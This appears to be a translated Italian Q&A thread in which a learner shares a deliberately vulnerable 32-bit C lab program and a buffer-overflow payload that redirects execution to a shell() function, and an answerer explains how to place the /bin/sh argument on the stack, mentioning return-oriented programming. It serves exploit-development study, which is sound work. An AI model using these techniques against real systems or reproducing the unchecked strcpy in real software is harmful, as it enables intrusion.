Come passare i parametri con un buffer overflow?

1

Sto sperimentando le basi del buffer overflow, sto provando a chiamare la funzione shell senza modificare il codice. Finora sono riuscito a chiamarlo ma non riesco a trovare un modo per dargli il parametro giusto (che è exec_string)

Ecco il codice:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/*
* compiled with:
* gcc -O0 -fno-stack-protector lab2B.c -o lab2B -m32
*/

char* exec_string = "/bin/sh";

void shell(char* cmd)
{
    system(cmd);
}

void print_name(char* input)
{
    char buf[15];
    strcpy(buf, input);
    printf("Hello %s\n", buf);
}

int main(int argc, char** argv)
{
    if(argc != 2)
    {
        printf("usage:\n%s string\n", argv[0]);
        return EXIT_FAILURE;
    }

    print_name(argv[1]);

    return EXIT_SUCCESS;
}

Lo eseguo con ./lab2B $(python -c 'print "A"*27 + "\x8D\x55\x55\x56"') che sembra consentirmi di entrare nella shell, secondo gdb.

Grazie in anticipo per il tuo aiuto

    
posta user162119 24.10.2017 - 17:33
fonte

1 risposta

1

Quando sovrascrivi l'indirizzo di ritorno con l'indirizzo della tua funzione shell , prova a pensare a questa come una chiamata istruzione per shell .

Come mostrato sotto, quando una funzione viene chiamata viene formato uno stack frame e i parametri per esso vengono inseriti nello stack, seguito dall'indirizzo di ritorno (EIP) della funzione precedente insieme ai puntatori dello stack (ebp, esp) . con il tuo Stack pointer in cima al fotogramma.

Essenzialmente,dopoaversovrascrittoilpuntatorediritornocon"\x8D\x55\x55\x56" dovrai aggiungere un altro indirizzo, essendo il puntatore di ritorno per la nuova funzione, così come l'indirizzo del tuo puntatore exec_string , che è un parametro per la tua nuova funzione.

Per capire come sfruttarlo suggerirei di saperne di più sulla programmazione orientata al rendimento, questo è un buona fonte per capire che e come appare lo stack quando viene chiamata una funzione.

    
risposta data 24.10.2017 - 20:34
fonte

Leggi altre domande sui tag